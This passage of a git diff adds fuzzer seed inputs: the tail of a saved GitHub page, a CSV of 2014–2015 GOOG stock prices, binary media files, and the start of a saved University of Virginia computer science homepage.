+        <li><a href="https://status.github.com/" data-ga-click="Footer, go to status, text:status">Status</a></li>
+      <li><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li>
+      <li><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li>
+      <li><a href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li>
+        <li><a href="https://github.com/blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li>
+        <li><a href="https://github.com/about" data-ga-click="Footer, go to about, text:about">About</a></li>
+
+    </ul>
+
+    <a href="https://github.com" aria-label="Homepage">
+      <span class="mega-octicon octicon-mark-github" title="GitHub"></span>
+</a>
+    <ul class="site-footer-links">
+      <li>&copy; 2015 <span title="0.03515s from github-fe134-cp1-prd.iad.github.net">GitHub</span>, Inc.</li>
+        <li><a href="https://github.com/site/terms" data-ga-click="Footer, go to terms, text:terms">Terms</a></li>
+        <li><a href="https://github.com/site/privacy" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a></li>
+        <li><a href="https://github.com/security" data-ga-click="Footer, go to security, text:security">Security</a></li>
+        <li><a href="https://github.com/contact" data-ga-click="Footer, go to contact, text:contact">Contact</a></li>
+    </ul>
+  </div>
+</div>
+
+
+    <div class="fullscreen-overlay js-fullscreen-overlay" id="fullscreen_overlay">
+  <div class="fullscreen-container js-suggester-container">
+    <div class="textarea-wrap">
+      <textarea name="fullscreen-contents" id="fullscreen-contents" class="fullscreen-contents js-fullscreen-contents" placeholder=""></textarea>
+      <div class="suggester-container">
+        <div class="suggester fullscreen-suggester js-suggester js-navigation-container"></div>
+      </div>
+    </div>
+  </div>
+  <div class="fullscreen-sidebar">
+    <a href="#" class="exit-fullscreen js-exit-fullscreen tooltipped tooltipped-w" aria-label="Exit Zen Mode">
+      <span class="mega-octicon octicon-screen-normal"></span>
+    </a>
+    <a href="#" class="theme-switcher js-theme-switcher tooltipped tooltipped-w"
+      aria-label="Switch themes">
+      <span class="octicon octicon-color-mode"></span>
+    </a>
+  </div>
+</div>
+
+
+
+    
+    
+
+    <div id="ajax-error-message" class="flash flash-error">
+      <span class="octicon octicon-alert"></span>
+      <a href="#" class="octicon octicon-x flash-close js-ajax-error-dismiss" aria-label="Dismiss error"></a>
+      Something went wrong with that request. Please try again.
+    </div>
+
+
+      <script crossorigin="anonymous" src="https://assets-cdn.github.com/assets/frameworks-d22b59d0085e83b7549ba4341ec9e68f80c2f29c8e49213ee182003dc8d568c6.js"></script>
+      <script async="async" crossorigin="anonymous" src="https://assets-cdn.github.com/assets/github-6c6e2a599b73fcc0e69077f45ca962ca6f79e8c27455f772334793a27f9a2ff6.js"></script>
+      
+      
+
+  </body>
+</html>
+
diff --git a/peasoup_examples/tools/sfuzz/seed_inputs/goog.csv b/peasoup_examples/tools/sfuzz/seed_inputs/goog.csv
new file mode 100644
index 0000000000000000000000000000000000000000..43f2f22275e902582f8b9c9350f21d382d53a00d
--- /dev/null
+++ b/peasoup_examples/tools/sfuzz/seed_inputs/goog.csv
@@ -0,0 +1,250 @@
+Date,Open,High,Low,Close,Volume
+7-Apr-15,538.08,542.69,536.00,537.02,1299298
+6-Apr-15,532.22,538.41,529.57,536.76,1320767
+2-Apr-15,540.85,540.85,533.85,535.53,1711737
+1-Apr-15,548.60,551.14,539.50,542.56,1957718
+31-Mar-15,550.00,554.71,546.72,548.00,1583677
+30-Mar-15,551.62,553.47,548.17,552.03,1283958
+27-Mar-15,553.00,555.28,548.13,548.34,1892323
+26-Mar-15,557.59,558.90,550.65,555.17,1568331
+25-Mar-15,570.50,572.26,558.74,558.78,2146384
+24-Mar-15,562.56,574.59,561.21,570.19,2576234
+23-Mar-15,560.43,562.36,555.83,558.81,1639306
+20-Mar-15,561.65,561.72,559.05,560.36,2609690
+19-Mar-15,559.39,560.80,556.14,557.99,1194049
+18-Mar-15,552.50,559.78,547.00,559.50,2128714
+17-Mar-15,551.71,553.80,548.00,550.84,1800570
+16-Mar-15,550.95,556.85,546.00,554.51,1636493
+13-Mar-15,553.50,558.40,544.22,547.32,1698872
+12-Mar-15,553.51,556.37,550.46,555.51,1385772
+11-Mar-15,555.14,558.14,550.68,551.18,1815763
+10-Mar-15,564.25,564.85,554.73,555.01,1787357
+9-Mar-15,566.86,570.27,563.54,568.85,1059336
+6-Mar-15,574.88,576.68,566.76,567.68,1654561
+5-Mar-15,575.02,577.91,573.41,575.33,1385818
+4-Mar-15,571.87,577.11,568.01,573.37,1871694
+3-Mar-15,570.45,575.39,566.52,573.64,1700084
+2-Mar-15,560.53,572.15,558.75,571.34,2123796
+27-Feb-15,554.24,564.71,552.90,558.40,2403553
+26-Feb-15,543.21,556.14,541.50,555.48,2305219
+25-Feb-15,535.90,546.22,535.44,543.87,1821041
+24-Feb-15,530.00,536.79,528.25,536.09,1002393
+23-Feb-15,536.05,536.44,529.41,531.91,1453907
+20-Feb-15,543.13,543.75,535.80,538.95,1441212
+19-Feb-15,538.04,543.11,538.01,542.87,987478
+18-Feb-15,541.40,545.49,537.51,539.70,1449089
+17-Feb-15,546.83,550.00,541.09,542.84,1612439
+13-Feb-15,543.35,549.91,543.13,549.01,1895126
+12-Feb-15,537.25,544.82,534.67,542.93,1615824
+11-Feb-15,535.30,538.45,533.38,535.97,1373970
+10-Feb-15,529.30,537.70,526.92,536.94,1745076
+9-Feb-15,528.00,532.00,526.02,527.83,1264276
+6-Feb-15,527.64,537.20,526.41,531.00,1758650
+5-Feb-15,523.79,528.50,522.09,527.58,1844687
+4-Feb-15,529.24,532.67,521.27,522.76,1659125
+3-Feb-15,528.00,533.40,523.26,529.24,2033085
+2-Feb-15,531.73,533.00,518.55,528.48,2841976
+30-Jan-15,515.86,539.87,515.52,534.52,5590977
+29-Jan-15,511.00,511.09,501.20,510.66,4174924
+28-Jan-15,522.78,522.99,510.00,510.00,1679230
+27-Jan-15,529.97,530.70,518.19,518.63,1898844
+26-Jan-15,538.53,539.00,529.67,535.21,1539524
+23-Jan-15,535.59,542.17,533.00,539.95,2275485
+22-Jan-15,521.48,536.33,519.70,534.39,2669558
+21-Jan-15,507.25,519.28,506.20,518.04,2262455
+20-Jan-15,511.00,512.50,506.02,506.90,2225922
+16-Jan-15,500.01,508.19,500.00,508.08,2292043
+15-Jan-15,505.57,505.68,497.76,501.79,2711355
+14-Jan-15,494.65,503.23,493.00,500.87,2229638
+13-Jan-15,498.84,502.98,492.39,496.18,2365687
+12-Jan-15,494.94,495.98,487.56,492.55,2320446
+9-Jan-15,504.76,504.92,494.79,496.17,2065715
+8-Jan-15,497.99,503.48,491.00,502.68,3344395
+7-Jan-15,507.00,507.24,499.65,501.10,2059366
+6-Jan-15,515.00,516.18,501.05,501.96,2891950
+5-Jan-15,523.26,524.33,513.06,513.87,2054238
+2-Jan-15,529.01,531.27,524.10,524.81,1446662
+31-Dec-14,531.25,532.60,525.80,526.40,1371819
+30-Dec-14,528.09,531.15,527.13,530.42,873923
+29-Dec-14,532.19,535.48,530.01,530.33,2276104
+26-Dec-14,528.77,534.25,527.31,534.03,1037727
+24-Dec-14,530.51,531.76,527.02,528.77,704035
+23-Dec-14,527.00,534.56,526.29,530.59,2191567
+22-Dec-14,516.08,526.46,516.08,524.87,2723599
+19-Dec-14,511.51,517.72,506.91,516.35,3680148
+18-Dec-14,512.95,513.87,504.70,511.10,2918730
+17-Dec-14,497.00,507.00,496.81,504.89,2875281
+16-Dec-14,511.56,513.05,489.00,495.39,3953371
+15-Dec-14,522.74,523.10,513.27,513.80,2812786
+12-Dec-14,523.51,528.50,518.66,518.66,1989117
+11-Dec-14,527.80,533.92,527.10,528.34,1610964
+10-Dec-14,533.08,536.33,525.56,526.06,1716835
+9-Dec-14,522.14,534.19,520.50,533.37,1871268
+8-Dec-14,527.13,531.00,523.79,526.98,2327127
+5-Dec-14,531.00,532.89,524.28,525.26,2558649
+4-Dec-14,531.16,537.34,528.59,537.31,1392208
+3-Dec-14,531.44,536.00,529.26,531.32,1279288
+2-Dec-14,533.51,535.50,529.80,533.75,1522481
+1-Dec-14,538.90,541.41,531.86,533.80,2109599
+28-Nov-14,540.62,542.00,536.60,541.83,1145231
+26-Nov-14,540.88,541.55,537.04,540.37,1519503
+25-Nov-14,539.00,543.98,538.60,541.08,1784967
+24-Nov-14,537.65,542.70,535.62,539.27,1701682
+21-Nov-14,541.61,542.14,536.56,537.50,2218249
+20-Nov-14,531.25,535.11,531.08,534.83,1559131
+19-Nov-14,535.00,538.24,530.08,536.99,1388440
+18-Nov-14,537.50,541.94,534.17,535.03,1957664
+17-Nov-14,543.58,543.79,534.06,536.51,1721282
+14-Nov-14,546.68,546.68,542.15,544.40,1285991
+13-Nov-14,549.80,549.80,543.48,545.38,1335719
+12-Nov-14,550.39,550.46,545.17,547.31,1126594
+11-Nov-14,548.49,551.94,546.30,550.29,964866
+10-Nov-14,541.46,549.59,541.02,547.49,1131546
+7-Nov-14,546.21,546.21,538.67,541.01,1629259
+6-Nov-14,545.50,546.88,540.97,542.04,1329604
+5-Nov-14,556.80,556.80,544.05,545.92,2026740
+4-Nov-14,553.00,555.50,549.30,554.11,1240761
+3-Nov-14,555.50,557.90,553.23,555.22,1378511
+31-Oct-14,559.35,559.57,554.75,559.08,2032887
+30-Oct-14,548.95,552.80,543.51,550.31,1451667
+29-Oct-14,550.00,554.19,546.98,549.33,1767107
+28-Oct-14,543.00,548.98,541.62,548.90,1273372
+27-Oct-14,537.03,544.41,537.03,540.77,1184973
+24-Oct-14,544.36,544.88,535.79,539.78,1972047
+23-Oct-14,539.32,547.22,535.85,543.98,2345296
+22-Oct-14,529.89,539.80,528.80,532.71,2917183
+21-Oct-14,525.19,526.79,519.11,526.54,2332531
+20-Oct-14,509.45,521.76,508.10,520.84,2605505
+17-Oct-14,527.25,530.98,508.53,511.17,5530674
+16-Oct-14,519.00,529.43,515.00,524.51,3698423
+15-Oct-14,531.01,532.80,518.30,530.03,3712536
+14-Oct-14,538.90,547.19,533.17,537.94,2217230
+13-Oct-14,544.99,549.50,533.10,533.21,2578676
+10-Oct-14,557.72,565.13,544.05,544.49,3078634
+9-Oct-14,571.18,571.49,559.06,560.88,2519693
+8-Oct-14,565.57,573.88,557.49,572.50,1987888
+7-Oct-14,574.40,575.27,563.74,563.74,1906427
+6-Oct-14,578.80,581.00,574.44,577.35,1211320
+3-Oct-14,573.05,577.22,572.50,575.28,1138636
+2-Oct-14,567.31,571.91,563.32,570.08,1175307
+1-Oct-14,576.01,577.58,567.01,568.27,1445027
+30-Sep-14,576.93,579.85,572.85,577.36,1618437
+29-Sep-14,571.75,578.19,571.17,576.36,1281204
+26-Sep-14,576.06,579.25,574.66,577.10,1439807
+25-Sep-14,587.55,587.98,574.18,575.06,1925350
+24-Sep-14,581.46,589.63,580.52,587.99,1724537
+23-Sep-14,586.85,586.85,581.00,581.13,1467703
+22-Sep-14,593.82,593.95,583.46,587.37,1687710
+19-Sep-14,591.50,596.48,589.50,596.08,3727045
+18-Sep-14,587.00,589.54,585.00,589.27,1442012
+17-Sep-14,580.01,587.52,578.78,584.77,1690994
+16-Sep-14,572.76,581.50,572.66,579.95,1478306
+15-Sep-14,572.94,574.95,568.21,573.10,1596224
+12-Sep-14,581.00,581.64,574.46,575.62,1597677
+11-Sep-14,580.36,581.81,576.26,581.35,1217721
+10-Sep-14,581.50,583.50,576.94,583.10,975145
+9-Sep-14,588.90,589.00,580.00,581.01,1286722
+8-Sep-14,586.60,591.77,586.30,589.72,1429101
+5-Sep-14,583.98,586.55,581.95,586.08,1629477
+4-Sep-14,580.00,586.00,579.22,581.98,1459956
+3-Sep-14,580.00,582.99,575.00,577.94,1214586
+2-Sep-14,571.85,577.83,571.19,577.33,1576830
+29-Aug-14,571.33,572.04,567.07,571.60,1081231
+28-Aug-14,569.56,573.25,567.10,569.20,1295963
+27-Aug-14,577.27,578.49,570.10,571.00,1700161
+26-Aug-14,581.26,581.80,576.58,577.86,1635465
+25-Aug-14,584.72,585.00,579.00,580.20,1358810
+22-Aug-14,583.59,585.24,580.64,582.56,789484
+21-Aug-14,583.82,584.50,581.14,583.37,912854
+20-Aug-14,585.88,586.70,582.57,584.49,1034779
+19-Aug-14,585.00,587.34,584.00,586.86,979298
+18-Aug-14,576.11,584.51,576.00,582.16,1282531
+15-Aug-14,577.86,579.38,570.52,573.48,1517056
+14-Aug-14,576.18,577.90,570.88,574.65,982926
+13-Aug-14,567.31,575.00,565.75,574.78,1437922
+12-Aug-14,564.52,565.90,560.88,562.73,1537758
+11-Aug-14,569.99,570.49,566.00,567.88,1215968
+8-Aug-14,563.56,570.25,560.35,568.77,1492491
+7-Aug-14,568.00,569.89,561.10,563.36,1108900
+6-Aug-14,561.78,570.70,560.00,566.37,1330877
+5-Aug-14,570.05,571.98,562.61,565.07,1556685
+4-Aug-14,569.04,575.35,564.10,573.15,1427169
+1-Aug-14,570.40,575.96,562.85,566.07,1950171
+31-Jul-14,580.60,583.65,570.00,571.60,2099516
+30-Jul-14,586.55,589.50,584.00,587.42,1013932
+29-Jul-14,588.75,589.70,583.52,585.61,1346647
+28-Jul-14,588.07,592.50,584.75,590.60,984161
+25-Jul-14,590.40,591.86,587.03,589.02,932724
+24-Jul-14,596.45,599.50,591.77,593.35,1033341
+23-Jul-14,593.23,597.85,592.50,595.98,1229846
+22-Jul-14,590.72,599.65,590.60,594.74,1694787
+21-Jul-14,591.75,594.40,585.23,589.47,2060334
+18-Jul-14,593.00,596.80,582.00,595.08,4006389
+17-Jul-14,579.53,580.99,568.61,573.73,3015475
+16-Jul-14,588.00,588.40,582.20,582.66,1394560
+15-Jul-14,585.74,585.80,576.56,584.78,1618815
+14-Jul-14,582.60,585.21,578.03,584.87,1852290
+11-Jul-14,571.91,580.85,571.42,579.18,1617569
+10-Jul-14,565.91,576.59,565.01,571.10,1353317
+9-Jul-14,571.58,576.72,569.38,576.08,1113907
+8-Jul-14,577.66,579.53,566.14,571.09,1908647
+7-Jul-14,583.76,586.43,579.59,582.25,1061833
+3-Jul-14,583.35,585.01,580.92,584.73,712210
+2-Jul-14,583.35,585.44,580.39,582.34,1054936
+1-Jul-14,578.32,584.40,576.65,582.67,1446309
+30-Jun-14,578.66,579.57,574.75,575.28,1310909
+27-Jun-14,577.18,579.87,573.80,577.24,2231174
+26-Jun-14,581.00,582.45,571.85,576.00,1737210
+25-Jun-14,565.26,579.96,565.22,578.65,1964447
+24-Jun-14,565.19,572.65,561.01,564.62,2201789
+23-Jun-14,555.15,565.00,554.25,564.95,1534659
+20-Jun-14,556.85,557.58,550.39,556.36,4496962
+19-Jun-14,554.24,555.00,548.51,554.90,2451341
+18-Jun-14,544.86,553.56,544.00,553.37,1737343
+17-Jun-14,544.20,545.32,539.33,543.01,1445878
+16-Jun-14,549.26,549.62,541.52,544.28,1704027
+13-Jun-14,552.26,552.30,545.56,551.76,1217176
+12-Jun-14,557.30,557.99,548.46,551.35,1457104
+11-Jun-14,558.00,559.88,555.02,558.84,1097380
+10-Jun-14,560.51,563.60,557.90,560.55,1349444
+9-Jun-14,557.15,562.90,556.04,562.12,1463676
+6-Jun-14,558.06,558.06,548.93,556.33,1732592
+5-Jun-14,546.40,554.95,544.45,553.90,1684886
+4-Jun-14,541.50,548.61,538.75,544.66,1812084
+3-Jun-14,550.99,552.34,542.55,544.94,1861921
+2-Jun-14,560.70,560.90,545.73,553.93,1434989
+30-May-14,560.80,561.35,555.91,559.89,1766794
+29-May-14,563.35,564.00,558.71,560.08,1350657
+28-May-14,564.57,567.84,561.00,561.68,1647717
+27-May-14,556.00,566.00,554.35,565.95,2100298
+23-May-14,547.26,553.64,543.70,552.70,1929632
+22-May-14,541.13,547.60,540.78,545.06,1611837
+21-May-14,532.90,539.18,531.91,538.94,1193389
+20-May-14,529.74,536.23,526.30,529.77,1780113
+19-May-14,519.70,529.78,517.58,528.86,1276362
+16-May-14,521.39,521.80,515.44,520.63,1481688
+15-May-14,525.70,525.87,517.42,519.98,1703758
+14-May-14,533.00,533.00,525.29,526.65,1191863
+13-May-14,530.89,536.07,529.51,533.09,1648907
+12-May-14,523.51,530.19,519.01,529.92,1908392
+9-May-14,510.75,519.90,504.20,518.73,2432783
+8-May-14,508.46,517.23,506.45,511.00,2016131
+7-May-14,515.79,516.68,503.30,509.96,3216077
+6-May-14,525.23,526.81,515.06,515.14,1684381
+5-May-14,524.82,528.90,521.32,527.81,1021408
+2-May-14,533.76,534.00,525.61,527.93,1685042
+1-May-14,527.11,532.93,523.88,531.35,1900432
+30-Apr-14,527.60,528.00,522.52,526.66,1746904
+29-Apr-14,516.90,529.46,516.32,527.70,2692489
+28-Apr-14,517.18,518.60,502.80,517.15,3326429
+25-Apr-14,522.51,524.70,515.42,516.18,2097264
+24-Apr-14,530.07,531.65,522.12,525.16,1881965
+23-Apr-14,533.79,533.87,526.25,526.94,2051066
+22-Apr-14,528.64,537.23,527.51,534.81,2359421
+21-Apr-14,536.10,536.70,525.60,528.62,2561214
+17-Apr-14,548.81,549.50,531.15,536.10,6795393
+16-Apr-14,543.00,557.00,540.00,556.54,4879889
+15-Apr-14,536.82,538.45,518.46,536.44,3847453
+14-Apr-14,538.25,544.10,529.56,532.52,2568020
+11-Apr-14,532.55,540.00,526.53,530.60,3916171
+10-Apr-14,565.00,565.00,539.90,540.95,4027743
diff --git a/peasoup_examples/tools/sfuzz/seed_inputs/gt.png b/peasoup_examples/tools/sfuzz/seed_inputs/gt.png
new file mode 100644
index 0000000000000000000000000000000000000000..a492fb2119823c5b1bb6b1596404a45c9dccc170
Binary files /dev/null and b/peasoup_examples/tools/sfuzz/seed_inputs/gt.png differ
diff --git a/peasoup_examples/tools/sfuzz/seed_inputs/hello.ogg b/peasoup_examples/tools/sfuzz/seed_inputs/hello.ogg
new file mode 100644
index 0000000000000000000000000000000000000000..131d5ee2278ae7240e39c911e88bc67d54984c5e
Binary files /dev/null and b/peasoup_examples/tools/sfuzz/seed_inputs/hello.ogg differ
diff --git a/peasoup_examples/tools/sfuzz/seed_inputs/hubble.jpg b/peasoup_examples/tools/sfuzz/seed_inputs/hubble.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..e91a01b0932071a87e6eca155e59776ebd1517b2
Binary files /dev/null and b/peasoup_examples/tools/sfuzz/seed_inputs/hubble.jpg differ
diff --git a/peasoup_examples/tools/sfuzz/seed_inputs/uva_cs.html b/peasoup_examples/tools/sfuzz/seed_inputs/uva_cs.html
new file mode 100644
index 0000000000000000000000000000000000000000..ccfa7fe81948d8274fc9acef68e4c207d68c2176
--- /dev/null
+++ b/peasoup_examples/tools/sfuzz/seed_inputs/uva_cs.html
@@ -0,0 +1,689 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+
+
+
+<head>
+
+
+
+<title>Computer Science, U.Va. Engineering, graduate and undergraduate computer science programs, masters degree, PhD, Ph.D, virginia</title>
+
+
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+
+
+<meta name="Keywords" content="computer science programs virginia uva university computer engineering undergraduate graduate phd masters" />
+
+
+
+<meta name="Description" content="" />
+
+
+
+<meta name="ROBOTS" content="ALL" />
+
+
+
+<meta name="revisit-after" content="7 days" />
+
+
+
+<meta name="distribution" content="Global" />
+
+
+
+<meta name="rating" content="General" />
+
+
+
+<script type="text/javascript" src="/includes/js/jquery.js"></script>
+
+<script type="text/javascript" src="/includes/js/jquery.plugins.js"></script>
+
+<script type="text/javascript" src="/includes/js/main.js"></script>
+
+<script type="text/javascript" src="/includes/js/email.js"></script>
+
+
+
+
+
+<!--Dropdown-->
+
+<script type="text/javascript" src="/includes/js/dropdown.js"></script>
+
+<script type="text/javascript" src="/includes/js/accordion.js"></script>
+
+<script type="text/javascript"> 
+
+ddaccordion.init({
+
+	headerclass: "submenuheader", //Shared CSS class name of headers group
+
+	contentclass: "submenu", //Shared CSS class name of contents group
+
+	revealtype: "click", //Reveal content when user clicks or onmouseover the header? Valid value: "click", "clickgo", or "mouseover"
+
+	mouseoverdelay: 200, //if revealtype="mouseover", set delay in milliseconds before header expands onMouseover
+
+	collapseprev: true, //Collapse previous content (so only one open at any time)? true/false 
+
+	defaultexpanded: [], //index of content(s) open by default [index1, index2, etc] [] denotes no content
+
+	onemustopen: false, //Specify whether at least one header should be open always (so never all headers closed)
+
+	animatedefault: false, //Should contents open by default be animated into view? 
+
+	persiststate: true, //persist state of opened contents within browser session?
+
+	toggleclass: ["", ""], //Two CSS classes to be applied to the header when it's collapsed and expanded, respectively ["class1", "class2"]
+
+	togglehtml: ["suffix", ], //Additional HTML added to the header when it's collapsed and expanded, respectively  ["position", "html1", "html2"] (see docs)
+
+	animatespeed: "fast", //speed of animation: integer in milliseconds (ie: 200), or keywords "fast", "normal", or "slow"
+
+	oninit:function(headers, expandedindices){ //custom code to run when headers have initalized
+
+		//do nothing
+
+	},
+
+	onopenclose:function(header, index, state, isuseractivated){ //custom code to run whenever a header is opened or closed
+
+		//do nothing
+
+	}
+
+})
+
+</script> 
+
+
+
+<link rel="stylesheet" href="/css/screen.css" type="text/css" media="screen, projection, print" title="Web" />
+
+<link rel="stylesheet" href="/css/navigation.css" type="text/css" media="screen, projection, print" title="Web" />
+
+
+
+<link rel="alternate stylesheet" href="/css/print.css" type="text/css" media="all" title="Print" />
+
+<!--[if IE]>
+
+<link rel="stylesheet" href="http://www.virginia.edu/uvatemplates2010/css/ie7.css" type="text/css" media="screen, projection, print" title="Web" />
+
+<![endif]-->
+
+<!--[if lt IE 7]>
+
+<link rel="stylesheet" href="http://www.virginia.edu/uvatemplates2010/css/ie.css" type="text/css" media="screen, projection, print" title="Web" />
+
+<![endif]-->
+
+<script type="text/javascript">
+
+  var _gaq = _gaq || [];
+  _gaq.push(['_setAccount', 'UA-18981806-1']);
+  _gaq.push(['_trackPageview']);
+
+  (function() {
+    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
+    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
+    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
+  })();
+
+</script>
+
+
+
+
+
+</head>
+
+
+
+<body id="home" class="template06">
+ <!-- Google Tracking Code for UVA WCO sites -->
+<script type="text/javascript">
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script>
+<script type="text/javascript">
+var pageTracker = _gat._getTracker("UA-718302-1");
+pageTracker._initData();
+pageTracker._trackPageview();
+</script>
+<!-- THIS IS A WCO APPOVED INCLUDE -->
+<table id="uvabar" width="954" border="0" cellspacing="0" cellpadding="0">
+ <tr>
+  <td width="20"><img src="http://www.virginia.edu/virginia/images/bluebar/left.gif" width="20" height="27" border="0" alt="" /></td>
+  <td width="112"><a href="http://www.virginia.edu/search/" onmouseover="MM_swapImage('people','','http://www.virginia.edu/virginia/images/bluebar/peopleon2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="people" src="http://www.virginia.edu/virginia/images/bluebar/people.gif" width="112" height="27" border="0" alt="People/Web Search" /></a></td>
+  <td width="69"><a href="http://www.virginia.edu/registrar/calendar.html" onmouseover="MM_swapImage('calendar','','http://www.virginia.edu/virginia/images/bluebar/calendaron2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="calendar" src="http://www.virginia.edu/virginia/images/bluebar/calendar.gif" width="69" height="27" border="0" alt="Calendar" /></a></td>
+  <td width="97"><a href="http://www.virginia.edu/emergency/" onmouseover="MM_swapImage('emergency','','http://www.virginia.edu/virginia/images/bluebar/emergencyon2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="emergency" src="http://www.virginia.edu/virginia/images/bluebar/emergency.gif" width="97" height="27" border="0" alt="Emergency Info" /></a></td>
+  <td width="70"><a href="http://www.virginia.edu/atoz/" onmouseover="MM_swapImage('a2z','','http://www.virginia.edu/virginia/images/bluebar/atozon2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="a2z" src="http://www.virginia.edu/virginia/images/bluebar/atoz.gif" width="70" height="27" border="0" alt="A-Z Index" /></a></td>
+  <td width="71"><a href="http://www.mail.virginia.edu/" onmouseover="MM_swapImage('webmail','','http://www.virginia.edu/virginia/images/bluebar/emailon2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="webmail" src="http://www.virginia.edu/virginia/images/bluebar/email.gif" width="71" height="27" border="0" alt="UVA Email" /></a></td>
+  <td width="333"><img src="http://www.virginia.edu/virginia/images/bluebar/middle2.gif" width="333" height="27" border="0" alt="" /></td>
+  <td width="154"><a href="http://www.virginia.edu/"><img src="http://www.virginia.edu/virginia/images/bluebar/uva.gif" width="154" height="27" border="0" alt="University of Virginia" /></a></td>
+  <td width="28"><img src="http://www.virginia.edu/virginia/images/bluebar/right.gif" width="28" height="27" border="0" alt="" /></td>
+ </tr>
+</table>
+
+
+
+
+<div id="wrapper">
+
+
+
+<div id="header">
+  	<div>
+    
+    <a href="http://seas.virginia.edu" style="display: block; width: 140px; height: 60px; float:left; margin: 20px 0 0 35px;"></a>
+    <a href="/" style="display: block; width: 460px; height: 80px; float:left; margin-left: 20px;"></a>
+    <form id="cse-search-box" action="http://google.com/cse">
+    <table align="right" cellpadding="0" cellspacing="0"><tr><td><font color="#FFFFFF">
+    <a href="https://collab.itc.virginia.edu/portal">Collab</a> <span style="color: #FFA74F;">|</span> 
+    <a style="padding-right: 5px;" href="https://sisuva.admin.virginia.edu/psp/epprd/EMPLOYEE/EMPL/h/?tab=PAPP_GUEST">SIS</a></font>
+    
+    <img src="http://www.virginia.edu/uvatemplates08/images/shared/icon/linkedin.png" width="15" height="15" alt="LinkedIn" onclick="javascript:window.location='http://www.linkedin.com/e/-jgxv80-gq0y11z7-4w/vgh/3998950/eml-grp-sub/'" />
+    
+    <img src="http://www.virginia.edu/uvatemplates08/images/shared/icon/twitter.png" width="15" height="15" alt="Twitter" onclick="javascript:window.location='http://twitter.com/CS_UVA'" />
+      
+    <img src="http://www.virginia.edu/uvatemplates08/images/shared/icon/facebook.png" width="15" height="15" alt="Facebook" onclick="javascript:window.location='http://www.facebook.com/uvacs'" />
+      
+    <img src="http://www.virginia.edu/uvatemplates08/images/shared/icon/youtube.png" width="15" height="15" alt="YouTube" onclick="javascript:window.location='http://www.youtube.com/user/seasweb'" />
+	</td>
+    </tr>
+    
+    <tr><td align="right">
+
+  <input type="hidden" name="cx" value="018428067400799082684:vrb8adzri6i" />
+  <input type="hidden" name="ie" value="UTF-8" />
+  <input type="text" name="q" size="20" />
+  <input type="submit" name="sa" value="Search" />
+</form>
+
+
+</td></tr></table>
+  	</div>
+  </div>
+<!-- //div#header -->
+  <p class="skipnav"><a href="#page-content" title="Skip to Content">Skip to Content</a></p></div>
+
+
+<div id="content">
+  <div id="navigation">
+    <div class="sidenav secondary">
+<ul id="top">
+
+
+
+
+<a href="" class="menuitem submenuheader">ABOUT CS</a>
+<div class="submenu">
+<ul>
+<li><a href="about/index.html">Welcome</a></li>
+<li><a href="/about/why.html">Why UVA?</a></li>
+<li><a href="/about/senioradvisoryboard.html">Senior Advisory Board</a></li>
+<li><a href="about/industrial-board.html">Industrial Advisory Board</a></li>
+<li><a href="about/diversity.html">Diversity</a></li>
+<li><a href="about/organizations.html">Organizations</a></li>
+<li><a href="about/museum/">Computer Museum</a></li>
+<li><a href="/events/videos.html">Videos</a></li>
+ </ul>
+ </div>
+
+<a href="" class="menuitem submenuheader">ACADEMICS</a>
+<div class="submenu"> 
+<ul>
+<li><a href="acad/">Overview</a></li>
+<li><a href="http://libra.cs.virginia.edu/handbook/ugrad-handbook.pdf">Undergraduate Handbook</a></li>
+<li><a href="http://libra.cs.virginia.edu/handbook/grad-handbook.pdf">Graduate Handbook</a></li>
+<li><a href="acad/bscs/">CS BS Major in SEAS</a></li>
+<li><a href="../acad/ba/about.html">CS BA Major in A&S </a></li>
+<li><a href="acad/cs_minor.html">CS Minor</a></li>
+<li><a href="acad/graduate_program/">CS Graduate Programs</a></li>
+<li><a href="http://www.cpe.virginia.edu/ugrads/">CpE Undergraduate Major</a></li>
+<li><a href="http://www.cpe.virginia.edu/grads/">CpE Graduate Program</a></li>
+<li><a href="../acad/declaring.html">Declaring a Major/Minor</a></li>
+</ul>
+</div>    
+ 
+<a href="" class="menuitem submenuheader">RESEARCH</a>
+<div class="submenu">
+<ul>
+<li><a href="research/">CS Research</a></li>
+<li><a href="research/areas.html">Projects by Areas</a></li>
+<li><a href="research/facilities.html">Facilities</a></li>
+<li><a href="http://www.cs.virginia.edu/research/technical.html">Technical Reports</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">ADMISSIONS</a>
+<div class="submenu">
+<ul>
+<li><a href="admissions/grad/">Graduate Admissions</a></li>
+<li><a href="admissions/ug/">Undergraduate Admissions</a></li>
+</ul></div>
+ 
+<a href="" class="menuitem submenuheader">New Faculty</a>
+<div class="submenu">
+<ul>
+<li><a href="/people/faculty/newhires.html">New Computer Science Hires</a></li>
+</ul>
+</div> 
+ 
+<a href="" class="menuitem submenuheader">PEOPLE</a>
+<div class="submenu">
+<ul>
+<li><a href="people/faculty/">Faculty</a></li>
+<li><a href="people/grads/">Graduate Students</a></li>
+<li><a href="people/staff/">Staff</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">EVENTS</a>
+<div class="submenu">
+<ul>
+  <li><a href="/events/">CS Events</a></li>
+  <li><a href="/events/calendar.html">Calendar of Events</a></li>
+  <li><a href="/events/colloquia/">Colloquia</a></li>
